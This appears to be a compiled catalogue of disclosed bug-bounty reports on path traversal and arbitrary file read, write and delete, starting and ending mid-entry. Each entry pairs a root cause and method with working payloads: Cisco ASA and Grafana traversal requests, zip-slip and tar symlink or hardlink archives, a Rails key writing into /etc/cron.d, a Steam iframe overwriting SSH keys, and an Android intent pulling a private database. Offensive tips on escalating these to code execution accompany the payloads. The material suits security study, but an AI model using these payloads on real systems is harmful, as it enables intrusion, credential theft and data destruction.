GET /+CSCOE+/session_password.html HTTP/1.1
Host: TARGET
# Vulnerable if response sets a 'webvpn:' cookie -> CVE-2020-3187
Insight — Path traversal is not only file-read: the same missing validation can expose write/delete primitives (CVE-2020-3187 sits alongside the read-only CVE-2020-3452 on the same appliance). When you find a traversal read, probe for companion write/delete endpoints - impact escalates from disclosure to DoS/integrity loss.
Real-world example
Arbitrary file overwrite via tar hardlink extraction (node-tar / tar-fs)
◆ High
Specimen #344595 · nodejs-ecosystem · none · votes · resolved
Program nodejs-ecosystemSurface otherChain arbitrary file overwrite -> overwrite security-sensitive Tag file-upload
Root cause
Extraction libraries that honor hardlink entries let an archive contain a hardlink to an existing absolute path, followed by a regular file of the same in-archive name; writing the regular file follows the hardlink and overwrites the pre-existing target file outside the extraction directory.
Method
- Craft a tar containing a hardlink entry 'hardboi/yyy' pointing at an existing target file (e.g. /tmp/overwriteme)
- Add a subsequent regular file entry named 'hardboi/yyy' whose body is the attacker content ('oops')
- Deliver the archive to any app that extracts it with a library honoring hardlinks (node-tar tar.x, tar-fs) without disabling links
- On extraction the regular-file write follows the hardlink and overwrites the original target file's contents
# archive layout (see attachments/292064_hardlink_exploit.tar.gz)
# hardboi/yyy -> hardlink to /tmp/overwriteme
# hardboi/yyy -> regular file, body: oops
tar = require('tar')
tar.x({ file: 'hardlink_exploit.tar.gz' }).then(_=> console.log('done'))
# result: contents of /tmp/overwriteme become 'oops'
Insight — When auditing any archive-extraction feature (tar/zip upload, package install, backup restore), test both symlink AND hardlink entries plus same-name duplicate entries, not just '../' path traversal. GNU tar strips leading '/' and refuses absolute/traversing hardlinks by default; naive library reimplementations (node-tar, tar-fs) did not, giving arbitrary file overwrite as the extracting user. Overwriting attacker-chosen files (config, cron, authorized_keys, app code) escalates toward RCE.
Real-world example
Defeating path.resolve() by monkey-patching Buffer internals
◆ High
Specimen #2218653 · nodejs · none · 36 votes · resolved
Program nodejsSurface otherTag file-upload
Root cause
Node's experimental permission model normalizes user paths with path.resolve() then converts them with Buffer.from(); overriding the internal Buffer.prototype.utf8Write (or other normalization built-ins) lets user code mutate the already-validated path after the check.
Method
- Enable/target the experimental --permission model
- Override Buffer.prototype.utf8Write (CVE-2024-21896) or other internal normalization utilities (CVE-2024-21891)
- The permission check runs on the normalized path, but the value actually used by fs is mutated afterwards
- fs operation resolves outside the permitted directory -> traversal
Insight — When a security guard depends on a JS built-in that user code can redefine (Buffer methods, Array/Object prototype, normalization helpers), the guard is only as trustworthy as those primitives. Look for TOCTOU between 'validate normalized path' and 'use path' whenever a sandbox is written in the same runtime it protects.
Real-world example
Zip-slip in WordPress unzip_file() -> arbitrary file write / RCE
◆ Medium
Specimen #205481 · wordpress · awarded · 119 votes · resolved
Program wordpressSurface webChain zip-slip file write to webroot -> PHP RCETag file-upload
Root cause
unzip_file() (both ZipArchive and PclZip paths) writes zip entries relative to $to without normalizing/validating the resolved path, so an entry named ../../ escapes the target dir; a PHP file dropped into the webroot yields RCE.
Method
- Craft a zip with an entry filename like ../../../../../../tmp/poc_file (or ../webroot/shell.php)
- Get the app to extract it via any unzip_file() caller (plugin/theme upload, gallery plugins allowing low-priv zip upload)
- Extracted file lands outside $to at the traversed path
# zip entry name (not the file content) carries the traversal:
../../../../../../../../var/www/html/shell.php
Insight — Any archive-extraction routine that trusts entry names is zip-slip-vulnerable: test every zip/tar upload with ../ entries. Note PHP's ZipArchive::extractTo is safe but WP's wrappers were not - the vuln is in the wrapper, not the library.
Real-world example
Android exported activity path-check bypass via /data/user/0 alias
◆ Medium
Specimen #377107 · owncloud · USD 750 · 115 votes · resolved
Program owncloudSurface mobile-android
Root cause
An exported activity accepts a file:// STREAM URI and blacklists the /data/data/ prefix, but the same private storage is also reachable via the equivalent /data/user/0/ path, bypassing the check so a malicious app can exfiltrate the app's private files (DBs, history).
Method
- Identify the exported activity that ingests a file:// URI
- Point the STREAM extra at the app-private DB via the alias path
- Launch the intent from a malicious app to have the target read/exfiltrate its own protected file
Intent i=new Intent("android.intent.action.SEND");
i.setClassName("com.owncloud.android","com.owncloud.android.ui.activity.ReceiveExternalFilesActivity");
i.setType("*/*");
i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
i.putExtra("android.intent.extra.STREAM",Uri.parse("file:///data/user/0/com.owncloud.android/databases/filelist"));
startActivity(i);
Insight — Path blacklists on Android are bypassable via equivalent aliases (/data/data == /data/user/0), symlinks, and ../ - always test the canonical alternates. Exported components that take file:// URIs are prime confused-deputy targets.
Real-world example
steam:// devkit URI handler arbitrary file write/overwrite via response= path
◆ Medium
Specimen #667242 · valve · 750 · 79 votes · resolved
Program valveSurface desktopChain malicious web iframe -> steam:// devkit handler -> arb
Root cause
The steam://devkit-1/list-shortcuts handler writes its response to a caller-supplied absolute path (response=<path>), overwriting any existing file owned by the user running Steam; no path restriction and triggerable from a web iframe.
Method
- Craft a steam://devkit-1/list-shortcuts?response=<target> URL
- Deliver via a link or hidden iframe (no user interaction needed)
- Steam writes/overwrites the target file (e.g. ~/.ssh/id_rsa), corrupting/destroying it
<a href="steam://devkit-1/list-shortcuts?response=/home/ubuntu/.ssh/id_rsa">x</a>
<!-- or auto-trigger via <iframe src="steam://devkit-1/list-shortcuts?response=/tmp/testfile"> -->
Insight — Custom URI-scheme handlers that take a filesystem path parameter are write/overwrite primitives reachable from the web with zero clicks. Enumerate an app's registered URI verbs and fuzz path-like params (response=, out=, file=, log=).
Real-world example
Grafana plugin path traversal (CVE-2021-43798) to arbitrary file read
◆ Medium
Specimen #1419213 · mariadb · none · 73 votes · resolved
Program mariadbSurface web
Root cause
Grafana's /public/plugins/<plugin-id>/ static handler failed to sanitize traversal sequences, so a request under any installed plugin id could climb out of the plugin directory and read arbitrary files with the Grafana process's privileges.
Method
- Identify a Grafana instance (default /login branding, /public/ assets).
- Pick a bundled plugin id that always exists (alertlist, graph, table-old, etc.).
- Request the plugin static path with many ../ segments pointing at the target file.
GET /public/plugins/alertlist/../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: TARGET
Insight — For any framework/app that serves plugin or theme assets from a path built out of a plugin id, try climbing out with ../ under a known-present plugin. Grafana config files (grafana.ini, provisioning datasources with DB creds) are the high-value targets, not just /etc/passwd.
Real-world example
Android deeplink 'filename' traversal writes private data to shared storage
◆ Medium
Specimen #2553411 · basecamp · awarded · 64 votes · resolved
Program basecampSurface mobile-androidChain path traversal -> write to shared storage -> cross-app
Root cause
An Android app handles a deeplink whose 'filename' parameter is used to save downloaded/exported content locally without sanitization, so '../' traversal redirects the (private) file into world-readable shared storage accessible to other apps.
Method
- Craft a deeplink to a data-exporting path with filename set to a traversal into /sdcard/Download/x.txt
- Embed the link where the app renders it (comment/project) and get the victim to click
- App writes the victim's private data to shared storage -> readable by any app with storage permission
<a href="https://3.basecamp.com/5195267/reports/progress?filename=/../../../../../../../../../../sdcard/Download/disclosure.txt">click me</a>
Insight — Mobile apps that write downloaded/exported files using an attacker-influenced name (deeplink param, uploaded filename) can be steered into shared storage or over config files; always fuzz deeplink/file-name params with '../'.
Real-world example
Windows drive-name defeats naive path.join confinement (Node.js)
◆ Medium
Specimen #2307225 · nodejs · none · 59 votes · resolved
Program nodejsSurface other
Root cause
On Windows, Node's path functions do not treat a drive-relative name (e.g. 'C:file') as special, so path.join(base, userInput) can resolve to the drive root instead of a subpath, bypassing intended directory confinement (CVE-2025-23084).
Method
- On Windows, pass a drive-letter-prefixed value as the untrusted segment to path.join
- Observe the result escaping the intended base directory
path.join('C:\\safe\\base', 'C:evil.txt') // resolves relative to the C: drive, not base
Insight — On Windows, joining a base with untrusted input is not sufficient confinement -- reject drive letters ('X:'), UNC prefixes ('\\'), and backslashes; test file params with a 'C:' prefix.
Real-world example
ActiveStorage blob 'key' injection -> arbitrary write/read/delete (Rails)
◆ Medium
Specimen #3580511 · rails · none · 57 votes · resolved
Program railsSurface webChain arbitrary write -> /etc/cron.d or SSH keys -> RCETag file-upload
Root cause
ActiveStorage's Hash attachable forwards a user-supplied 'key:' unchanged to Blob (has_secure_token skips generation when key is preset), and DiskService#path_for does File.join(root, folder_for(key), key) with no traversal check, giving arbitrary file write/read/delete.
Method
- Get user input into the Hash passed to .attach() with key set to a traversal (via permitted :key param or a user-built key string)
- Upload writes the file outside the storage root (e.g. /etc/cron.d/)
- Subsequent blob.download reads arbitrary files; blob.purge deletes them
model.file.attach(io: io, filename: "x.txt", key: "../../../../etc/cron.d/backdoor")
Insight — When a framework lets you set the storage 'key'/path, that key is a traversal sink -- audit .attach()/upload APIs that permit a key/path field; write to /etc/cron.d or ~/.ssh/authorized_keys for RCE.
Real-world example
Ruby Tempfile basename/ext backslash traversal on Windows (CVE-2021-28966)
◆ Medium
Specimen #1131465 · ruby · USD 500 · 54 votes · resolved
Program rubySurface otherChain unintended file creation in arbitrary dir -> potential RC
Root cause
On Windows, Ruby's Tempfile / Dir.mktmpdir do not sanitize backslashes in the basename or ext arguments, so an attacker-controlled temp name containing '\..\' traverses out of the temp directory and creates files in arbitrary writable directories.
Method
- Pass a basename (or ext) containing '\..\' traversal to Tempfile.open on Windows
- The temp file is created outside the Temp directory
Tempfile.open(["\\..\\..\\..\\..\\..\\Users\\rootx\\malicious", ".rb"])
Insight — Temp-file APIs that accept a user-influenced prefix/suffix are write sinks on Windows via backslash traversal; RoR apps passing user data into Tempfile basename/ext are exploitable and can reach RCE.
Real-world example
Constrained LFI via URL-encoded traversal with hardcoded extension
◆ Medium
Specimen #895972 · gsa_bbp · USD 300 · 48 votes · resolved
Program gsa_bbpSurface web
Root cause
A CodeIgniter controller builds a file path as docs_path + user_page + '.md' and passes it to file_get_contents(); the user-controlled page segment allows ..%2f to climb one directory above webroot. The appended '.md' constrains which files are readable unless truncation is possible.
Method
- Find an endpoint that renders a named document/page (Docs/index/<page>).
- Inject URL-encoded traversal in the page segment (..%2f) to step out of the intended docs directory.
- Read files that happen to end in the hardcoded extension (README.md) to prove the traversal.
GET /dashboard/Docs/index/..%2fREADME HTTP/1.1
Host: labs.data.gov
# resolves to /var/www/dashboard/new/README.md, outside the intended docs root
Insight — Even when a suffix (.md/.html/.json) is appended and blocks arbitrary reads, report the traversal — it is a real trust-boundary break and escalates the moment a null-byte/truncation or a companion bug appears. Always test URL-encoded (%2f) traversal when a raw ../ is stripped.
Real-world example
WASI sandbox escape via path_symlink out of preopen
◆ Medium
Specimen #2084280 · nodejs · none · 44 votes · resolved
Program nodejsSurface other
Root cause
Node's WASI implementation sandboxes file I/O to 'preopen' directories but permits path_symlink to create a symlink inside a preopen that targets an absolute host path; opening/reading through that symlink then reaches arbitrary host files, escaping the sandbox.
Method
- From WASI/WASM code, call path_symlink(old_path="/etc/passwd", fd=<preopen fd>, new_path="passwords.txt").
- path_open the new symlink name within the preopen.
- fd_read it to exfiltrate the host file outside the sandbox.
path_symlink(old_path="/etc/passwd", fd=3, new_path="passwords.txt")
fd = path_open(fd=3, dirflags=0, path="passwords.txt", oflags=0, fs_rights_base=right_fd_read)
fd_read(fd, iovs, 1)
Insight — Any path-based sandbox must resolve symlinks against the sandbox root at every operation, not just at open. If symlink creation is allowed inside the jail, test creating one to an absolute path and reading through it — a recurring container/sandbox escape pattern.
Real-world example
SYSTEM service log path + NTFS reparse/symlink redirect -> arbitrary write -> EoP (Steam)
◆ Medium
Specimen #682774 · valve · USD 1250 · 41 votes · resolved
Program valveSurface desktopChain redirected file write as SYSTEM -> Startup .bat -> EoP
Root cause
The SYSTEM-privileged Steam Client Service writes its log using a low-privilege-controllable path (HKLM InstallPath, which allows '\..\'), and by combining an NTFS reparse point with an object-directory symlink the log write is redirected to arbitrary targets with semi-controlled content -> local EoP.
Method
- Set HKLM ...\valve\steam InstallPath to a user-controlled path (using '\..\' so Windows collapses it) with a CRLF payload
- Make the logs folder an NTFS reparse point to \RPC Control\ and symlink service_log.txt to the target file (no admin needed)
- Start the Steam Client Service; it writes/append the target file as SYSTEM (e.g. a Startup .bat) -> EoP
CreateSymlink.exe C:\test\logs\service_log.txt <target>
InstallPath = C:\test\1\..
Insight — Privileged Windows services that write logs/files to a path a low-priv user can influence are EoP primitives; use the Project Zero reparse-point + \RPC Control\ symlink trick to redirect the write to Startup/hosts/SAM. Even partial content control is enough for a .bat.
Real-world example
Reverse-proxy path-normalization bypass with ..;/ (Tomcat)
◆ Medium
Specimen #988877 · line · none · 37 votes · resolved
Program lineSurface web
Root cause
nginx/reverse-proxy and Tomcat normalize paths differently: the proxy passes ..;/ through unchanged, and Tomcat treats the ..;/ segment as ../, allowing traversal to internal/admin resources the proxy meant to block.
Method
- Identify a reverse-proxy + Tomcat stack where certain paths (e.g. /manager) are proxy-blocked
- Insert ..;/ segments to climb out of the allowed prefix
- Reach the internal resource Tomcat resolves
GET /allowed/..;/..;/manager/html HTTP/1.1
Host: TARGET
# ..;/ -> Tomcat normalizes to ../
Insight — When two layers normalize URLs differently, use ;-style path params (..;/), encoded slashes, or trailing dots to smuggle traversal past the front proxy into the backend. Classic Tomcat-behind-nginx.
Real-world example
Symlink-in-tar to delete arbitrary directories (rm_rf) on extract
◆ Medium
Specimen #317321 · rubygems · USD 500 · 35 votes · resolved
Program rubygemsSurface otherTag file-upload
Root cause
During gem/tar extraction, a symlink entry pointing outside the destination is created first; a later entry that traverses through it causes the unpacker's cleanup (FileUtils.rm_rf destination) to delete the real target directory.
Method
- Craft a tar/gem with two entries
- Entry 1: symlink 'tmp' -> '/tmp'
- Entry 2: symlink 'tmp/dir' -> '.'
- On 'gem unpack', the safety error triggers rm_rf which follows the symlink and recursively deletes /tmp/dir
# inside the gem data.tar
data_tar.add_symlink "tmp", "/tmp", 16877
data_tar.add_symlink "tmp/dir", ".", 16877
# $ gem unpack rm_dir.gem -> /tmp/dir is recursively deleted
Insight — Archive extractors that create symlinks before validating/cleaning the destination can be turned into an arbitrary directory-delete primitive. Test any unzip/untar routine with symlink entries, not just ../ entries.
Real-world example
Symlink-in-archive escapes extraction dir -> arbitrary write
◆ Medium
Specimen #270072 · rubygems · awarded · 35 votes · resolved
Program rubygemsSurface otherChain arbitrary file write -> overwrite binary/.profile -> cTag file-uploadTag supply-chain
Root cause
The unpacker's realpath+start_with? containment check passes for a symlink whose location is inside the dir, and also passes for a subsequent file written *through* that symlink; combined they allow writing outside the install directory.
Method
- Build a gem whose data.tar contains: a symlink 'link' -> '/tmp', then a regular file 'link/HACKED'
- gem install / gem unpack follows the symlink
- File is written to /tmp/HACKED with attacker-controlled name, contents, and permissions
$ tar -tvf data.tar.gz
-rw-r--r-- README
lrw-r--r-- link -> /tmp
-rw-r--r-- link/HACKED
# gem install symlink.gem -> creates /tmp/HACKED
Insight — Zip/Tar Slip via symlinks: even 'safe' unpackers (gem unpack) are exploitable because each entry individually passes the containment check. Escalate arbitrary write to RCE by overwriting a system binary or a user's ~/.profile / authorized_keys.
Real-world example
Double URL-encoded ..%252f traversal through decode-twice proxy
◆ Medium
Specimen #333306 · algolia · none · 34 votes · resolved
Program algoliaSurface webTag cors
Root cause
A front-end (CDN/proxy) and back-end each URL-decode the path once, so double-encoded traversal sequences (%252f -> %2f -> /) survive the first decode and become real ../ at the origin.
Method
- Identify a static/file endpoint behind a proxy
- Send ..%252f repeated toward the target file
- The path is decoded twice, yielding ../../../etc/passwd at the origin
GET /static/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1
Host: TARGET
Insight — When single-encoded ../ is filtered, try double (and triple) URL-encoding: %252e%252f, %252f, .%252e. Any layer that decodes more than once re-introduces the traversal. A reliable go-to for CDN/reverse-proxy fronted static handlers.
Real-world example
Zip Slip in mobile app unzip overwrites private-dir files
◆ Medium
Specimen #859469 · line · USD 475 · 33 votes · resolved
Program lineSurface mobile-androidChain malicious app on device -> replace synced ZIP -> Zip STag file-upload
Root cause
An Android app extracts a ZIP without validating entry names, so an entry containing ../ is written outside the extraction directory into the app's private data folder.
Method
- Attacker app (with STORAGE permission) swaps a synced ZIP on shared/external storage with a malicious one
- Malicious ZIP contains an entry named ../../../../../../data/data/<pkg>/files/something
- Victim opens the ZIP note in the app; extraction writes through the ../ into the private dir
- App crashes with SecurityException but the target file is already overwritten
# malicious zip entry name:
../../../../../../data/data/jp.naver.line.android/files/something
Insight — Any client-side unzip (mobile or desktop) that trusts entry names is Zip Slip-vulnerable. On Android, chain a low-priv malicious app + shared storage to deliver the archive and overwrite protected files in another app's sandbox.
Real-world example
OpenSSL s_server Windows backslash arbitrary file read
◆ Medium
Specimen #850775 · ibb · none · 31 votes · resolved
Program ibbSurface otherTag file-upload
Root cause
openssl s_server -WWW/-HTTP path-parsing checks for '..' and '/' but not backslash, so on Windows a request with ..\ escapes the serving directory.
Method
- Run openssl s_server -tls1 -WWW -accept 443 on Windows
- Request a path using backslash traversal
- Contents of the out-of-directory file are returned
curl.exe -k https://127.0.0.1/..\..\..\..\..\..\..\any-file
Insight — Traversal filters written for POSIX ('/' and '..') routinely omit backslash and drive-letter (C:) handling; on Windows add \, %5c and X: to every test. Root fix here added checks for '\\' and ':'.
Real-world example
Path traversal in ML model-loader params -> code execution
◆ Medium
Specimen #2032778 · security · none · 31 votes · resolved
Program securitySurface apiChain path traversal -> load attacker model artifact -> deseTag file-upload
Root cause
User-supplied version/trained_at JSON fields are interpolated straight into a filesystem path passed to AutoTokenizer.from_pretrained(); ../ lets the loader point at attacker-influenced directories, and from_pretrained can execute code from loaded artifacts (joblib/pickle).
Method
- POST to the inference endpoint with ../ inside version or trained_at
- The model_dirpath resolves outside the models directory
- If a malicious model/tokenizer artifact can be placed there, from_pretrained deserializes it -> RCE
curl -X POST http://localhost:8082/predict/report_weakness_id -H 'content-type: application/json' -d '{"version":"v1/../../../..", "trained_at":"2023-01-01T00:00:00Z", "input":[{"title":"test","num_of_top_predictions":3}]}'
Insight — AI/ML inference endpoints that build model paths from request fields are a fresh traversal sink; combined with pickle/joblib-backed loaders (from_pretrained, torch.load, joblib.load) traversal escalates directly to RCE. Look for version/model/checkpoint params.
Real-world example
Proxy path traversal escapes configured proxy sub-path
◆ Medium
Specimen #869888 · shopify · awarded · 29 votes · resolved
Program shopifySurface webTag webhook
Root cause
Shopify App Proxy forwards storefront paths to an app-defined upstream but does not neutralize ../, so a request can traverse above the configured /proxy sub-path and reach arbitrary upstream locations.
Method
- App proxy maps storefront /apps/ss/* to https://UPSTREAM/proxy/*
- Request /apps/ss/b.php/../../ so the forwarded path collapses above /proxy
- Response comes from https://UPSTREAM/ (the upstream root), not the intended /proxy subtree
GET /apps/ss/b.php/../../?shop=a&Shop=asd HTTP/1.1
Host: STOREFRONT
Insight — Reverse-proxy / URL-rewriting layers that prepend a fixed path prefix are traversal sinks: adding segment/../ in the client path can escape the prefix and expose upstream paths the integrator assumed were unreachable. Test any *.myshopify-style app-proxy or gateway route.
Real-world example
Reverse-proxy ACL bypass with ..; path segment to reach protected Tomcat contexts
◆ Medium
Specimen #1004007 · informatica · none · 27 votes · resolved
Program informaticaSurface webChain Session manipulation via SessionExample can escalate toward
Root cause
A front-end proxy blocked access to Tomcat management/example contexts by path prefix, but the ..; (semicolon path parameter) trick let the request normalize differently at Tomcat than at the proxy, reaching /examples servlets unauthenticated (Orange Tsai path-normalization class).
Method
- Identify a proxied Java/Tomcat app where /examples or /manager is blocked
- Prefix with ..; to break the proxy's path matching: https://TARGET/..;/examples/servlets/
- Reach SessionExample (session manipulation), source disclosure, RequestHeaderExample (internal IP)
https://TARGET/..;/examples/servlets/servlet/SessionExample
https://TARGET/..;/examples/servlets/
https://TARGET/..;/examples/servlets/servlet/RequestHeaderExample
Insight — Proxy-vs-backend path normalization mismatches (..;, ;/, //, %2e, encoded slashes) bypass prefix-based access rules. Whenever a path is blocked by a front layer, fuzz path-parameter and dot-segment variants to reach the backend directly.
Real-world example
Abuse a URL-signing endpoint to sign the S3 bucket base path and dump it
◆ Medium
Specimen #1485500 · kubernetes · USD 250 · 26 votes · resolved
Program kubernetesSurface cloudTag cloud-aws
Root cause
Prow's job-history endpoint signs an S3 path derived from user input and appends /latest.txt; supplying /. plus a URL-encoded ? made it sign the bucket base path (commenting out the suffix), so it returned a signed URL listing/reading arbitrary objects in the private bucket.
Method
- Find a Prow instance: /job-history/s3/<bucket>/...
- Request /job-history/s3/<bucket>/%2e%3f so the signed key becomes s3://<bucket>/.?/latest.txt
- The %3f (?) truncates the appended /latest.txt; /. resolves to the bucket base -> full listing
- Use <anyfile>%3f to sign and read arbitrary objects in the bucket
https://prow.TARGET/job-history/s3/<bucket>/%2e%3f
https://prow.TARGET/job-history/s3/<bucket>/any.valid.file%3f
# signed key: s3://<bucket>/.?/latest.txt
Insight — When a server signs/opens a path it builds from user input plus a fixed suffix, inject an encoded delimiter (?, #, %00) to neutralize the suffix and a dot-segment to redirect to a parent/base path. Turns a scoped file-fetch into arbitrary-object read.
Real-world example
Traversal in upload filename escapes per-user S3 key prefix
◆ Medium
Specimen #254200 · unikrn · awarded · 26 votes · resolved
Program unikrnSurface apiTag file-uploadTag cloud-aws
Root cause
The avatar upload builds the S3 object key from the user-supplied filename without stripping ../, so traversal sequences in the filename move the object out of the per-user prefix, allowing overwrite of other users' / arbitrary objects.
Method
- Upload an avatar and intercept the POST to the upload API
- Change filename to include ../ prefixing (e.g. test../../../../../../test.jpg)
- Object is written outside users/<id>/<date>/ - e.g. bucket root - overwriting existing keys
{
"filename": "test2../../../../../../test2.jpg",
"type": "image/jpeg",
"reason": "image/*",
"session_id": "SESSION"
}
Insight — S3/object-storage uploads that key files by client filename are traversal-prone even without a real filesystem: ../ in the key escapes the isolation prefix and overwrites other tenants' objects. Always test the filename/key field on upload endpoints.
Real-world example
Directory traversal in a file-download parameter (LFI)
◆ Medium
Specimen #1639364 · deptofdefense · none · 25 votes · resolved
Program deptofdefenseSurface webChain arbitrary file read -> sensitive info / possible code dis
Root cause
download.php passed the filePathDownload parameter to the filesystem after only a prefix check, so a valid externally-facing directory followed by ../ sequences read arbitrary files.
Method
- Locate download.php and a known valid served directory
- Prefix the traversal with that valid directory to pass the prefix check
- Append ../ chain to reach /etc/passwd
/download.php?filePathDownload=data_products/MISC/frida_cal/../../../../../../../../etc/passwd
Insight — When traversal seems blocked, prepend a known-good path segment before the ../ chain - many validators only check that the value starts with an allowed prefix. Map files by opaque IDs, not paths.
Real-world example
CS 1.6 mapcyclefile cvar arbitrary file read/write
◆ Medium
Specimen #590279 · valve · 750 · 22 votes · resolved
Program valveSurface desktopChain arbitrary read (info leak) + arbitrary write -> RCE/DoS
Root cause
The GoldSrc/Source engine uses the mapcyclefile cvar as a file path without sanitization; an RCON user can point it at any path to read files (via listmaps/ServerInfo output) and, through CServerRemoteAccess::SetValue 'mapcycle', write arbitrary files.
Method
- With RCON, set mapcyclefile to a traversal path (../../../../etc/passwd)
- Run listmaps (or join the server; mapcycle data ships in ServerInfo) to read the file back via 'Skipping <line>' output
- For write: via GameServerData001, set mapcyclefile then invoke 'mapcycle' with payload -> FS_Write to arbitrary path
rcon <pass> mapcyclefile ../../../../../etc/passwd
# then in game console:
listmaps
# arbitrary write via GameServerData001: set mapcyclefile then 'mapcycle' <payload>
Insight — Any config value / cvar / setting that is later used as a filesystem path is a traversal candidate - set it to ../ paths and look for read-back in verbose/parsing output ('Skipping <line>'); a matching write sink turns it into DoS/RCE.
Real-world example
REST id path normalization: '.'/'..' collapse to parent collection endpoint
◆ Medium
Specimen #1575014 · stripe · USD 1000 · 22 votes · resolved
Program stripeSurface apiTag account-takeover
Root cause
An SDK interpolates a caller-supplied resource id into the URL path; Node's http path normalization turns '.'/'..' into the parent path, so a Retrieve(id='.') becomes a List-all call, dumping every object's PII.
Method
- Find an SDK/API that builds paths as /resource/<id>
- Pass '.' (or '..') as the id
- Node normalizes /v1/checkout/sessions/. -> /v1/checkout/sessions/ (List)
- Server returns the full collection incl. customer emails, names, addresses
curl "http://localhost:4242/checkout-session?sessionId=." | jq # returns List of ALL sessions with PII
# underlying: GET https://api.stripe.com/v1/checkout/sessions/. -> .../sessions/
Insight — Whenever a single-object endpoint interpolates an id into the path, try '.', '..', encoded variants, and empty; client/server path normalization can silently promote a scoped Retrieve into an unscoped List. Language-specific (Node here; other SDKs were safe).
Real-world example
Zip extraction + CSV-field traversal in ad builder
◆ Medium
Specimen #316713 · semrush · awarded · 22 votes · resolved
Program semrushSurface webChain zip traversal write + csv-field file reference -> arbitraTag file-upload
Root cause
An uploaded-ZIP import is doubly traversal-prone: (1) the extractor honors ../ in entry names, writing files outside the temp dir, and (2) the embedded data.csv image-path fields are read without sanitization, letting the app reference arbitrary on-disk files.
Method
- Create a ZIP with an entry named ../1.png to write outside the unpack dir
- Also/alternatively put ../../../usr/share/pixmaps/debian-logo.png in the data.csv Image field
- Upload via Ad Builder -> Display Ads -> From File
- Extractor writes ../1.png outside the temp dir; the CSV image field renders a file from outside the dir into the ad
- Trigger error messages to leak the absolute temp path for reliable traversal depth
# zip entry name (Zip Slip):
../1.png
# data.csv Image/Logo field (reference arbitrary file):
../../../usr/share/pixmaps/debian-logo.png
Insight — When an app ingests an archive AND a manifest that references files by path, test both sinks. Referencing OS default files (e.g. /usr/share/pixmaps/debian-logo.png) both proves traversal and fingerprints the distro; error messages that echo mkdir paths give you the absolute base for exact ../ counts.
Real-world example
Exposed Spring Boot Actuator Jolokia -> LFI/command via DiagnosticCommand
◆ Medium
Specimen #1641661 · other · none · 21 votes · resolved
Program otherSurface webChain exposed actuator -> jolokia JMX bridge -> DiagnosticCoTag cloud-aws
Root cause
An unauthenticated Spring Boot Actuator with the Jolokia endpoint enabled exposes JMX operations over HTTP; the com.sun.management DiagnosticCommand MBean can be driven to read files / run diagnostic commands (LFI, path to RCE).
Method
- Discover /actuator (or /jolokia) on the host
- List MBeans; target com.sun.management:type=DiagnosticCommand
- Invoke an exec operation, encoding path separators as !/
- Read the returned file contents
https://TARGET:PORT/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/hostname
Insight — Always probe /actuator and /actuator/jolokia on Spring Boot targets. Jolokia + DiagnosticCommand (or logback/reloadByURL, or a JNDI-capable MBean) escalates a 'read-only metrics' endpoint into file read and often RCE. The !/ sequence encodes path slashes in Jolokia URLs.
Real-world example
Cisco ASA/FTD CVE-2020-3452 unauth file read and delete
◆ Medium
Specimen #924407 · acronis · awarded · 21 votes · resolved
Program acronisSurface networkChain unauth read of lua source/sessions (+ delete -> VPN portaTag file-upload
Root cause
Cisco ASA/FTD WebVPN interface fails to validate the lang/textdomain parameters of /+CSCOT+/translation-table (and /+CSCOT+/oem-customization), allowing unauthenticated read of webroot files; a companion session_password.html + token-cookie traversal deletes files.
Method
- Confirm the target exposes /+CSCOE+/session_password.html (present = vulnerable/unpatched)
- Read arbitrary webroot files via translation-table with lang=../ and textdomain pointing at the file
- Delete files by requesting session_password.html with a traversal path in the token cookie (file is read into webvpn cookie then unlinked)
# read (CVE-2020-3452):
curl -k "https://TARGET/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
# oem-customization variant:
GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
# delete:
GET /+CSCOE+/session_password.html HTTP/1.1
Host: TARGET
Cookie: token=../../../../../../+CSCOE+/wrong_url.html
Insight — Cisco WebVPN/AnyConnect endpoints (+CSCOE+ / +CSCOT+) are a reliable unauth traversal surface; encode the +CSCOE+ marker as %2bCSCOE%2b and terminate translation-table with lang=../. Reads are limited to the web services FS (portal_inc.lua, session.js) - great for grabbing source and session data.
Real-world example
Lexical HasPrefix containment bypass via prefix-colliding sibling dir
◆ Medium
Specimen #3634571 · arkadiyt-projects · none · 21 votes · resolved
Program arkadiyt-projectsSurface otherTag supply-chain
Root cause
protodump builds output paths from attacker-controlled descriptor metadata (go_package/name) and enforces containment with a lexical strings.HasPrefix(base, outputDirAbs) after EvalSymlinks; ../ into a sibling dir whose absolute path shares the output prefix passes the check.
Method
- Craft a proto descriptor blob whose name is ../out_pwn/evil.proto
- Ensure a prefix-colliding sibling dir exists (output /tmp/out, sibling /tmp/out_pwn)
- Run the tool; the file is written to /tmp/out_pwn/evil.proto, outside the chosen output dir
name = b'../out_pwn/evil.proto'
with open('/tmp/evil.bin','wb') as f:
f.write(bytes([0x0a, len(name)]) + name + b'\x00')
# protodump -file /tmp/evil.bin -output /tmp/out -> Wrote /tmp/out_pwn/evil.proto
Insight — strings.HasPrefix / startswith on absolute paths is NOT a containment check: /tmp/out is a prefix of /tmp/out_pwn. Require prefix + os.sep, or use filepath.Rel and reject results starting with '..'. Attacker-controlled archive/descriptor metadata is a traversal source.
Real-world example
Cisco ASA/FTD CVE-2018-0296 unauth traversal to file_list.json
◆ Medium
Specimen #695429 · deptofdefense · awarded · 19 votes · resolved
Program deptofdefenseSurface networkTag file-upload
Root cause
Cisco ASA/FTD WebVPN allows an unauthenticated attacker to traverse via /+CSCOU+/../+CSCOE+/files/file_list.json and enumerate directories/sessions, disclosing files, usernames and active VPN sessions.
Method
- Send the traversal request with --path-as-is so curl does not collapse the ../
- Read the directory listing / file_list.json
- Add ?path=/sessions to dump active VPN sessions
curl -i -k "https://TARGET/+CSCOU+/../+CSCOE+/files/file_list.json" --path-as-is
curl -i -k "https://TARGET/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is
Insight — Another Cisco WebVPN unauth traversal (distinct from CVE-2020-3452): +CSCOU+/../+CSCOE+ crosses the marker directories. A patched box returns 404 'File not found'. Use --path-as-is; the path=/ parameter drives directory enumeration.
Real-world example
NUL-byte truncation in UNIX socket paths connects to unintended socket
◆ Medium
